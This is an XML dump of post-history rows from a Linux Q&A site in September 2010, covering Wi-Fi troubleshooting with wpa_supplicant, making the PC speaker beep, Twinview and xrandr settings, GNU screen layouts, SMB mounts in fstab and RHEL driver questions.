  <row Id="4021" PostHistoryTypeId="2" PostId="1972" RevisionGUID="9fe078d2-aa8b-4732-b838-8e4a37dba94c" CreationDate="2010-09-13T06:34:35.863" UserId="1623" Text="Aside from bandwidth and latency issues (which can vary a bit), the big differences are the functionality it provides.&#xD;&#xA;&#xD;&#xA;VNC exports a whole session, desktop and all, while ssh will run a single program and show its windows on your workstation.&#xD;&#xA;&#xD;&#xA;The VNC server exports a session that survives even when you disconnect your screen, and you can reconnect to it later with all the windows open etc. This is not possible with an ssh X tunnel, since when your X server dies, the windows go away.&#xD;&#xA;" />
  <row Id="4022" PostHistoryTypeId="5" PostId="1918" RevisionGUID="1db31867-9835-49b1-a851-5e28cbdba04c" CreationDate="2010-09-13T08:42:58.753" UserId="1327" Comment="more details" Text="When I connect my laptop to a **wpa2** secured router, using **[wicd][1]** I don't have any connection problems. &#xD;&#xA;&#xD;&#xA;**BUT** when I connect with the following command-line command ( as outlined [here][1] )&#xD;&#xA;&#xD;&#xA;    wpa_supplicant -B -Dwext -i wlan0 -c /etc/wpa_supplicant.conf&#xD;&#xA;    ifconfig wlan0 up&#xD;&#xA;    dhcpd wlan0&#xD;&#xA;&#xD;&#xA;My connection is unstabble, sometimes working sometimes not, indicated by the following output:&#xD;&#xA;&#xD;&#xA;    [admac@asus-arch ~]$ ping google.com&#xD;&#xA;    PING google.com (64.233.179.104) 56(84) bytes of data.&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=1 ttl=56 time=190 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=2 ttl=56 time=196 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=3 ttl=56 time=184 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=4 ttl=56 time=172 ms&#xD;&#xA;    64 bytes from 64.233.179.104: icmp_seq=5 ttl=56 time=196 ms&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=7 ttl=56 time=210 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=8 ttl=56 time=181 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=9 ttl=56 time=168 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=10 ttl=56 time=168 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=11 ttl=56 time=171 ms&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=18 ttl=56 time=171 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=19 ttl=56 time=164 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=20 ttl=56 time=181 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=21 ttl=56 time=187 ms &#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=22 ttl=56 time=192 ms&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ^C&#xD;&#xA;    --- google.com ping statistics ---&#xD;&#xA;    25 packets transmitted, 15 received, 40% packet loss, time 28231ms&#xD;&#xA;    rtt min/avg/max/mdev = 164.443/182.621/210.508/12.774 ms&#xD;&#xA;&#xD;&#xA;My `/etc/wpa_supplicant.conf` file:&#xD;&#xA;&#xD;&#xA;    network={&#xD;&#xA;    	ssid=&quot;1010011010&quot;&#xD;&#xA;    	#psk=&quot;------------&quot;&#xD;&#xA;    	psk=------------------------------------------&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: http://wicd.sourceforge.net/&#xD;&#xA;[2]: http://wiki.archlinux.org/index.php/WPA_Supplicant&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4023" PostHistoryTypeId="5" PostId="1918" RevisionGUID="bc411a39-0453-4291-baf6-d99327e0282f" CreationDate="2010-09-13T08:53:13.607" UserId="1327" Comment="fixed formatting" Text="When I connect my laptop to a **wpa2** secured router, using **[wicd][1]** I don't have any connection problems. &#xD;&#xA;&#xD;&#xA;**BUT** when I connect with the following command-line command ( as outlined [here][1] )&#xD;&#xA;&#xD;&#xA;**UPDATED:**&#xD;&#xA;&#xD;&#xA;    ifconfig wlan0 up&#xD;&#xA;    wpa_supplicant -B -Dwext -i wlan0 -c /etc/wpa_supplicant.conf&#xD;&#xA;    dhcpd wlan0&#xD;&#xA;&#xD;&#xA;My connection is unstabble, sometimes working sometimes not, indicated by the following output:&#xD;&#xA;&#xD;&#xA;    $ ping google.com&#xD;&#xA;    PING google.com (64.233.179.104) 56(84) bytes of data.&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=1 ttl=56 time=190 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=2 ttl=56 time=196 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=3 ttl=56 time=184 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=4 ttl=56 time=172 ms&#xD;&#xA;    64 bytes from 64.233.179.104: icmp_seq=5 ttl=56 time=196 ms&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=7 ttl=56 time=210 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=8 ttl=56 time=181 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=9 ttl=56 time=168 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=10 ttl=56 time=168 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=11 ttl=56 time=171 ms&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=18 ttl=56 time=171 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=19 ttl=56 time=164 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=20 ttl=56 time=181 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=21 ttl=56 time=187 ms &#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=22 ttl=56 time=192 ms&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ^C&#xD;&#xA;    --- google.com ping statistics ---&#xD;&#xA;    25 packets transmitted, 15 received, 40% packet loss, time 28231ms&#xD;&#xA;    rtt min/avg/max/mdev = 164.443/182.621/210.508/12.774 ms&#xD;&#xA;&#xD;&#xA;My `/etc/wpa_supplicant.conf` file:&#xD;&#xA;&#xD;&#xA;    network={&#xD;&#xA;    	ssid=&quot;1010011010&quot;&#xD;&#xA;    	#psk=&quot;------------&quot;&#xD;&#xA;    	psk=------------------------------------------&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;`dhcpcd wlan0`&#xD;&#xA;&#xD;&#xA;    $ sudo dhcpcd wlan0 &#xD;&#xA;    dhcpcd[18320]: version 5.2.5 starting&#xD;&#xA;    dhcpcd[18320]: wlan0: rebinding lease of 192.168.123.102&#xD;&#xA;    dhcpcd[18320]: wlan0: acknowledged 192.168.123.102 from 192.168.123.254&#xD;&#xA;    dhcpcd[18320]: wlan0: checking for 192.168.123.102&#xD;&#xA;    dhcpcd[18320]: wlan0: carrier lost&#xD;&#xA;    dhcpcd[18320]: wlan0: carrier acquired&#xD;&#xA;    dhcpcd[18320]: wlan0: rebinding lease of 192.168.123.102&#xD;&#xA;    dhcpcd[18320]: wlan0: acknowledged 192.168.123.102 from 192.168.123.254&#xD;&#xA;    dhcpcd[18320]: wlan0: checking for 192.168.123.102&#xD;&#xA;    dhcpcd[18320]: wlan0: leased 192.168.123.102 for 86400 seconds&#xD;&#xA;    dhcpcd: wlan0: MTU set to 1500&#xD;&#xA;    dhcpcd[18320]: forked to background, child pid 18377&#xD;&#xA;&#xD;&#xA;`ifconfig`&#xD;&#xA;&#xD;&#xA;    $ ifconfig&#xD;&#xA;    lo        Link encap:Local Loopback  &#xD;&#xA;              inet addr:127.0.0.1  Mask:255.0.0.0&#xD;&#xA;              inet6 addr: ::1/128 Scope:Host&#xD;&#xA;              UP LOOPBACK RUNNING  MTU:16436  Metric:1&#xD;&#xA;              RX packets:0 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;              TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;              collisions:0 txqueuelen:0 &#xD;&#xA;              RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)&#xD;&#xA;    &#xD;&#xA;    wlan0     Link encap:Ethernet  HWaddr 00:15:AF:78:D4:AA  &#xD;&#xA;              inet6 addr: fe80::215:afff:fe78:d4aa/64 Scope:Link&#xD;&#xA;              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&#xD;&#xA;              RX packets:3218 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;              TX packets:2909 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;              collisions:0 txqueuelen:1000 &#xD;&#xA;              RX bytes:1959355 (1.8 Mb)  TX bytes:415438 (405.7 Kb)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`route`&#xD;&#xA;&#xD;&#xA;    $ route&#xD;&#xA;&#xD;&#xA;    Kernel IP routing table&#xD;&#xA;    Destination     Gateway         Genmask         Flags Metric Ref    Use Iface&#xD;&#xA;    192.168.123.0   *               255.255.255.0   U     303    0        0 wlan0&#xD;&#xA;    default         192.168.123.254 0.0.0.0         UG    303    0        0 wlan0&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: http://wicd.sourceforge.net/&#xD;&#xA;[2]: http://wiki.archlinux.org/index.php/WPA_Supplicant&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4024" PostHistoryTypeId="2" PostId="1973" RevisionGUID="3a0c8593-0f19-4fe8-820a-48a15a8fd771" CreationDate="2010-09-13T08:54:36.223" UserId="1036" Text="Of course you can normalize a path with possible multiple / (slashes) in it by passing it through `tr -s`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    NORMALIZED=$(echo &quot;$UNHYGIENIC&quot; | tr -s / /)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;... and then use &quot;$NORMALIZE&quot;&#xD;&#xA;&#xD;&#xA;However, it should be necessary.  As for as I know any properly UNIX kernel should ignore concurrent path separators --- or conceptually treating them as ...`/./`...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4025" PostHistoryTypeId="2" PostId="1974" RevisionGUID="17a9d39f-f324-4649-a64e-626e44d3dc84" CreationDate="2010-09-13T09:16:32.540" UserId="1327" Text="Using bash, how can I make the pc speaker beep?&#xD;&#xA;&#xD;&#xA;Something like `echo 'beepsound' &gt; /dev/pcspkr` would be nice." />
  <row Id="4026" PostHistoryTypeId="1" PostId="1974" RevisionGUID="17a9d39f-f324-4649-a64e-626e44d3dc84" CreationDate="2010-09-13T09:16:32.540" UserId="1327" Text="How do I make my pc speaker beep" />
  <row Id="4027" PostHistoryTypeId="3" PostId="1974" RevisionGUID="17a9d39f-f324-4649-a64e-626e44d3dc84" CreationDate="2010-09-13T09:16:32.540" UserId="1327" Text="écommandölineàébashàéaudioà" />
  <row Id="4029" PostHistoryTypeId="2" PostId="1976" RevisionGUID="5acf3593-d742-4020-8671-076dc7d3f11c" CreationDate="2010-09-13T10:02:57.180" UserId="1074" Text="Some distros have cmdline utilities to achieve this. Maybe you could tell us what distro you are on.  &#xD;&#xA;Or just do a search (i.e emerge -s beep in gentoo) &gt;D.  &#xD;&#xA;  &#xD;&#xA;Going beyond &quot;available&quot; utils, you could also make a perl script that emits the beep, all you need to do is include:  &#xD;&#xA;&#xD;&#xA;    &lt;SomeCodeBefore&gt;&#xD;&#xA;    print &quot;\007&quot;;&#xD;&#xA;    &lt;SomeCodeAfter&gt;  &#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;If you do end up getting 'beep', try out the following:  &#xD;&#xA;&#xD;&#xA;    #! /bin/sh &#xD;&#xA;&#xD;&#xA;    beep -f 500 -l 700 &#xD;&#xA;    beep -f 480 -l 400 &#xD;&#xA;    beep -f 470 -l 250 &#xD;&#xA;    beep -f 530 -l 300 -D 100 &#xD;&#xA;    beep -f 500 -l 300 -D 100 &#xD;&#xA;    beep -f 500 -l 300 &#xD;&#xA;    beep -f 400 -l 600 &#xD;&#xA;    beep -f 300 -l 500 &#xD;&#xA;    beep -f 350 -l 700 &#xD;&#xA;    beep -f 250  -l 600  &#xD;&#xA;  &#xD;&#xA;Regards." />
  <row Id="4030" PostHistoryTypeId="2" PostId="1977" RevisionGUID="62b0f693-15a5-4820-a2ad-7158cb8dd838" CreationDate="2010-09-13T10:13:52.197" UserId="1528" Text="For some reasons, most native games as well as Wine have a problem with Twinview. So when starting SC2 I have to manually disable one of my two screens in nvidia-settings. (By going in X Server Display Configuration &gt; click on second monitor &gt; Display &gt; Resolution: off) &#xD;&#xA;&#xD;&#xA;I searched hard but couldn't find a way to do that automagically. nvidia-settings itself has non-GUI options (see &quot;nvidia-settings -q all&quot;) but none of them seems to do what I want. I want to put that in my startup script for games, which already replaces Compiz with metacity (and back when it exits).&#xD;&#xA;&#xD;&#xA;Help appreciated." />
  <row Id="4031" PostHistoryTypeId="1" PostId="1977" RevisionGUID="62b0f693-15a5-4820-a2ad-7158cb8dd838" CreationDate="2010-09-13T10:13:52.197" UserId="1528" Text="Enabling or disabling one monitor in nVidia Twinview on the command line, like with nvidia-settings" />
  <row Id="4032" PostHistoryTypeId="3" PostId="1977" RevisionGUID="62b0f693-15a5-4820-a2ad-7158cb8dd838" CreationDate="2010-09-13T10:13:52.197" UserId="1528" Text="écommandölineàédisplayösettingsàégamesà" />
  <row Id="4033" PostHistoryTypeId="2" PostId="1978" RevisionGUID="df184141-fd26-4ea9-b6da-87076592792b" CreationDate="2010-09-13T10:34:34.600" UserId="188" Text="Try echo -n &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt;&#xD;&#xA;The downside is that this will only work when the output device is a terminal, so it may not work inside a cron job, for instance (But if you are root you might be able redirect to /dev/console for immediate beeping)." />
  <row Id="4034" PostHistoryTypeId="2" PostId="1979" RevisionGUID="a49a8525-a2b0-49f5-b5f7-cebf12f222ce" CreationDate="2010-09-13T10:40:46.833" UserId="292" Text="Simply printing `\a` works for me.&#xD;&#xA;&#xD;&#xA;    echo -e &quot;\a&quot;&#xD;&#xA;&#xD;&#xA;This will probably require the `pcspkr` kernel module to be loaded. I've only tested this on RHEL, so YMMV." />
  <row Id="4035" PostHistoryTypeId="5" PostId="1979" RevisionGUID="ad5d3296-de02-47da-9527-d7ef1a363d40" CreationDate="2010-09-13T10:47:43.590" UserId="292" Comment="added 8 characters in body" Text="Simply echoing `\a` or `\07` works for me.&#xD;&#xA;&#xD;&#xA;    echo -e &quot;\a&quot;&#xD;&#xA;&#xD;&#xA;This will probably require the `pcspkr` kernel module to be loaded. I've only tested this on RHEL, so YMMV." />
  <row Id="4036" PostHistoryTypeId="2" PostId="1980" RevisionGUID="ddd9c976-2852-40a2-8d51-52f2a0a553eb" CreationDate="2010-09-13T11:10:23.543" UserId="1339" Text="I usually use the little utility `beep` installed on many systems.&#xD;&#xA;This command will try different aproaches to create a system sound.&#xD;&#xA;&#xD;&#xA;3 ways of creating a sound from the beep manpage:&#xD;&#xA;&#xD;&#xA;&gt; The traditional method of producing a&#xD;&#xA;&gt; beep in a shell script is to write an&#xD;&#xA;&gt; ASCII BEL (\007) character to standard&#xD;&#xA;&gt; output, by means of a shell command&#xD;&#xA;&gt; such as ‘echo -ne '\007'’. This only&#xD;&#xA;&gt; works if the calling shell's standard&#xD;&#xA;&gt; output is currently directed to a&#xD;&#xA;&gt; terminal device of some sort; if not,&#xD;&#xA;&gt; the beep will produce no sound and&#xD;&#xA;&gt; might even cause unwanted corruption&#xD;&#xA;&gt; in whatever file the output is&#xD;&#xA;&gt; directed to. &#xD;&#xA;&gt; &#xD;&#xA;&gt; There are other ways to cause a&#xD;&#xA;&gt; beeping noise. A slightly more&#xD;&#xA;&gt; reliable method is to open /dev/tty&#xD;&#xA;&gt; and send your BEL character there.&#xD;&#xA;&gt; This is robust against I/O&#xD;&#xA;&gt; redirection, but still fails in the&#xD;&#xA;&gt; case where the shell script wishing to&#xD;&#xA;&gt; generate a beep does not have a&#xD;&#xA;&gt; controlling terminal, for example&#xD;&#xA;&gt; because it is run from an X window&#xD;&#xA;&gt; manager. &#xD;&#xA;&gt; &#xD;&#xA;&gt; A third approach is to connect to your&#xD;&#xA;&gt; X display and send it a bell command.&#xD;&#xA;&gt; This does not depend on a Unix&#xD;&#xA;&gt; terminal device, but does (of course)&#xD;&#xA;&gt; require an X display.&#xD;&#xA;&#xD;&#xA;Beep will simply try these 3 methods.&#xD;&#xA;" />
  <row Id="4037" PostHistoryTypeId="5" PostId="1979" RevisionGUID="69517d0d-22b2-4cb1-a4ab-477bdc5ce28e" CreationDate="2010-09-13T13:23:20.930" UserId="292" Comment="added 251 characters in body; added 20 characters in body" Text="Simply echoing `\a` or `\07` works for me.&#xD;&#xA;&#xD;&#xA;    echo -e &quot;\a&quot;&#xD;&#xA;&#xD;&#xA;This will probably require the `pcspkr` kernel module to be loaded. I've only tested this on RHEL, so YMMV.&#xD;&#xA;&#xD;&#xA;### Update&#xD;&#xA;&#xD;&#xA;As Warren pointed out in the comments, this may not work when logged in remotely via SSH. A quick workaround would be to redirect the output to any of the TTY devices (ideally one that is unused). E.g.:&#xD;&#xA;&#xD;&#xA;    echo -en &quot;\a&quot; &gt; /dev/tty5&#xD;&#xA;&#xD;&#xA;Happy beeping!" />
  <row Id="4038" PostHistoryTypeId="5" PostId="1721" RevisionGUID="f5c85c02-c76c-4250-8cd8-ca836cf57a0a" CreationDate="2010-09-13T13:33:34.293" UserDisplayName="delete" Comment="added link to Jeremy S. Anderson post on usenet from 1989." Text="&gt; There are two major products of Berkeley, CA -- LSD and UNIX.  We don't &#xD;&#xA;&gt; believe this to be strictly by coincidence. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&amp;mdash; [Jeremy S. Anderson][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://groups.google.com/group/alt.conspiracy/browse_thread/thread/7f5b9252211b6801/73ecb360a8247f19#73ecb360a8247f19" />
  <row Id="4039" PostHistoryTypeId="2" PostId="1981" RevisionGUID="1f09284f-009f-462b-b183-76baab6e1a46" CreationDate="2010-09-13T14:21:12.870" UserId="665" Text="does anyone have an idea why when I insert a cd/dvd/flash nautilus opens as a default file manager under KDE instead of dolphin krusader? in my system settings krusader is set as the default manager, but still nautilus somehow keeps showing up, and I'm wondering how to change that?&#xD;&#xA;&#xD;&#xA;I keep nautilus because it's a dropbox dependancy... ok, I know there are workarounds so one could use dropbox without nautilus but I didn't bother trying that out... I don't mind keeping nautilus but I just want it to be quiet :D&#xD;&#xA;&#xD;&#xA;I have kde 4.5.1 installed on up to date arch if that helps anyhow&#xD;&#xA;&#xD;&#xA;thank you&#xD;&#xA;&#xD;&#xA;ps - mods, please add tags: nautilus autoplay" />
  <row Id="4040" PostHistoryTypeId="1" PostId="1981" RevisionGUID="1f09284f-009f-462b-b183-76baab6e1a46" CreationDate="2010-09-13T14:21:12.870" UserId="665" Text="How to turn off Nautilus autoplay under KDE?" />
  <row Id="4041" PostHistoryTypeId="3" PostId="1981" RevisionGUID="1f09284f-009f-462b-b183-76baab6e1a46" CreationDate="2010-09-13T14:21:12.870" UserId="665" Text="élinuxàékdeà" />
  <row Id="4042" PostHistoryTypeId="2" PostId="1982" RevisionGUID="e6b71e5a-7d5f-4be7-a21d-9e571c0eff28" CreationDate="2010-09-13T14:31:51.890" UserId="73" Text="If you're using Twinview the displays are treated as one display with the resolution of all the physical displays put together. You can use [`xrandr`](http://en.wikipedia.org/wiki/RandR) to change the current output dimensions, and it will turn on or off the appropriate displays to make it fit.&#xD;&#xA;&#xD;&#xA;For example, if you have two 1280x1024 monitors:&#xD;&#xA;&#xD;&#xA;    xrandr --output default --mode 1280x1024   # Just the first monitor&#xD;&#xA;    xrandr --output default --mode 2560x1024   # Two 1280 monitors side by side is 2560 wide; this will enable both&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;However, this requires that X be configured with both modes. I'm not up on the latest wisdom when it comes to X configuration, but I use this `metamodes` line in my `Screen` section:&#xD;&#xA;&#xD;&#xA;    Option &quot;metamodes&quot; &quot;CRT: 1280x1024_60 +1920+0, DFP: 1920x1200 +0+0; NULL, DFP: 1920x1200&quot;&#xD;&#xA;&#xD;&#xA;That says &quot;either display on my 1920x1200 DFP at 0x0 and my 1280x1024 CRT to its right, or just display on the DFP and leave the CRT off&quot;, so I can tell xrandr to use just the DFP (`--mode 1920x1200`) or both (`--mode 3200x1200`)" />
  <row Id="4043" PostHistoryTypeId="2" PostId="1983" RevisionGUID="0660a139-b29c-4e79-8649-b59d62c68cbc" CreationDate="2010-09-13T14:46:17.917" UserId="1658" Text="When I restore a splitted session of screen, I've got only one print session and have to reconfigure the number of display session. Maybe there is another way to have the original screen configuration ?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="4044" PostHistoryTypeId="1" PostId="1983" RevisionGUID="0660a139-b29c-4e79-8649-b59d62c68cbc" CreationDate="2010-09-13T14:46:17.917" UserId="1658" Text="GNU screen - Restore a session with splitted screen  " />
  <row Id="4045" PostHistoryTypeId="3" PostId="1983" RevisionGUID="0660a139-b29c-4e79-8649-b59d62c68cbc" CreationDate="2010-09-13T14:46:17.917" UserId="1658" Text="éscreenà" />
  <row Id="4046" PostHistoryTypeId="6" PostId="1981" RevisionGUID="53ed02b3-5d8c-41ca-bddf-9ecf98bd4128" CreationDate="2010-09-13T15:04:02.657" UserId="1327" Comment="edited tags" Text="élinuxàékdeàénautilusàéautoplayà" />
  <row Id="4047" PostHistoryTypeId="2" PostId="1984" RevisionGUID="9616ed76-8376-482e-aac2-bcf93f786ce7" CreationDate="2010-09-13T15:06:05.680" UserId="1327" Text="This **[link][1]** seems to be what you are looking for.&#xD;&#xA;&#xD;&#xA;[1]: http://syafii.com/linux/161/how-to-disable-autorun-on-ubuntu/" />
  <row Id="4048" PostHistoryTypeId="5" PostId="1984" RevisionGUID="eb0fc917-73a3-4ac4-acf5-a250453bfedc" CreationDate="2010-09-13T15:13:01.017" UserId="1327" Comment="more details" Text="This **[link][1]** seems to be what you are looking for. The post is **ubuntu** specific thought... &#xD;&#xA;&#xD;&#xA;[1]: http://syafii.com/linux/161/how-to-disable-autorun-on-ubuntu/" />
  <row Id="4050" PostHistoryTypeId="2" PostId="1985" RevisionGUID="c4f7223f-02d2-4ec2-8542-eba79771c7a4" CreationDate="2010-09-13T15:48:02.633" UserId="1207" Text="This is not *currently* possible without a hack (see next paragraph); however, the features required to do this have already been added to screen's current git tree.  In future versions, the &quot;layout save&quot; and &quot;layout load&quot; commands will be able to load not only your last layout, but other named layouts.  I believe there is also support for cycling through layouts.  &#xD;&#xA;&#xD;&#xA;Currently, the trick is to use a screen inside a screen.  All of your work and layout changes are done in the inner screen, but then when you detach, you actually detach from the outer most screen.  The layout of the inner screen will be preserved.  See the following for all the gritty details:&#xD;&#xA;&#xD;&#xA;[When I split the display and then detach, screen forgets the split.][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://aperiodic.net/screen/faq#when_i_split_the_display_and_then_detach_screen_forgets_the_split&#xD;&#xA;&#xD;&#xA;Alternatively, you can try compiling the latest version directly from the screen source tree.  You can do this by installing git and then running:&#xD;&#xA;&#xD;&#xA;    git clone git://git.savannah.gnu.org/screen.git&#xD;&#xA;&#xD;&#xA;Then, follow the directions in src/INSTALL.  In general, the directions are: &#xD;&#xA;&#xD;&#xA; 1. `./autogen.sh`&#xD;&#xA; 2. `./configure`&#xD;&#xA; 3. `make`&#xD;&#xA;&#xD;&#xA;There is a discussion in the INSTALL file about various issues surrounding where to install screen based on various concerns.  If you go this route, your best bet is to read all of the INSTALL directions and then proceed." />
  <row Id="4051" PostHistoryTypeId="2" PostId="1986" RevisionGUID="23033914-ed57-456f-a845-3f18c26e7977" CreationDate="2010-09-13T16:34:16.623" UserId="1663" Text="I'm trying to mount some smb shares on bootup using `fstab` on a Kbuntu box. Here are the steps I using to accomplish this:&#xD;&#xA;&#xD;&#xA;    sudo mkdir /mnt/MyShare&#xD;&#xA;&#xD;&#xA;Then I add this line to my fstab file:&#xD;&#xA;&#xD;&#xA;    //myserver/myshare /mnt/MyShare smbfs username=user1,password=password1 0 0&#xD;&#xA;&#xD;&#xA;However after restarting the `/mnt/MyShare` folder is removed. If i re-create this directory and run `sudo mount -a`, everything works fine. Can browse the share. But when I reboot, `/mnt/MyShare` is gone.&#xD;&#xA;&#xD;&#xA;Any hints as to what I am doing wrong?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4052" PostHistoryTypeId="1" PostId="1986" RevisionGUID="23033914-ed57-456f-a845-3f18c26e7977" CreationDate="2010-09-13T16:34:16.623" UserId="1663" Text="/mnt Directories Disappearing" />
  <row Id="4053" PostHistoryTypeId="3" PostId="1986" RevisionGUID="23033914-ed57-456f-a845-3f18c26e7977" CreationDate="2010-09-13T16:34:16.623" UserId="1663" Text="énetworkingàéfileösharingà" />
  <row Id="4054" PostHistoryTypeId="6" PostId="1986" RevisionGUID="6e32f619-1702-4cce-808e-c0948c785f21" CreationDate="2010-09-13T17:03:26.357" UserId="1327" Comment="edited tags" Text="énetworkingàéfileösharingàékbuntuà" />
  <row Id="4055" PostHistoryTypeId="6" PostId="1986" RevisionGUID="6ed5a675-34fe-4bb7-9089-ceba6368cf83" CreationDate="2010-09-13T17:41:52.907" UserId="29" Comment="modify tag to be correct" Text="énetworkingàéfileösharingà" />
  <row Id="4056" PostHistoryTypeId="2" PostId="1987" RevisionGUID="3ee04af9-5aba-4dfe-98ba-23d8c8ab92ab" CreationDate="2010-09-13T18:14:21.023" UserDisplayName="Jon Gay" Text="Hello,&#xD;&#xA;&#xD;&#xA;We're trying to get a QLogic 42C1831 HBA installed on a system using RHEL 4.8. We've tried the drivers from QLogic for Linux Kernel 2.6.x (which this system is running) and are getting all sorts of errors trying to install them. The drivers to specifically mention that they're for RHEL 5.x, but I was wondering if anyone has gotten this to work?&#xD;&#xA;&#xD;&#xA;Any help would be appreciated.&#xD;&#xA;" />
  <row Id="4057" PostHistoryTypeId="1" PostId="1987" RevisionGUID="3ee04af9-5aba-4dfe-98ba-23d8c8ab92ab" CreationDate="2010-09-13T18:14:21.023" UserDisplayName="Jon Gay" Text="QLogic 42C1831 HBA drivers on RHEL 4.8? Using Kernel 2.6.x" />
  <row Id="4058" PostHistoryTypeId="3" PostId="1987" RevisionGUID="3ee04af9-5aba-4dfe-98ba-23d8c8ab92ab" CreationDate="2010-09-13T18:14:21.023" UserDisplayName="Jon Gay" Text="érhelà" />
  <row Id="4059" PostHistoryTypeId="5" PostId="1987" RevisionGUID="21faa004-1daf-4dda-9003-520a772f46bf" CreationDate="2010-09-13T18:26:32.637" UserDisplayName="Jon Gay" Comment="added 169 characters in body" Text="Hello,&#xD;&#xA;&#xD;&#xA;We're trying to get a QLogic 42C1831 HBA installed on a system using RHEL 4.8. We've tried the drivers from QLogic for Linux Kernel 2.6.x (which this system is running) and are getting all sorts of errors trying to install them. The drivers to specifically mention that they're for RHEL 5.x, but I was wondering if anyone has gotten this to work?&#xD;&#xA;&#xD;&#xA;Also, if you'd like to look at the driver files we're using they're here: http://filedownloads.qlogic.com/Files/TempDownlods/26913/qlge_1.0.0.22-091001_r5_2.6.18.tgz&#xD;&#xA;&#xD;&#xA;Any help would be appreciated.&#xD;&#xA;" />
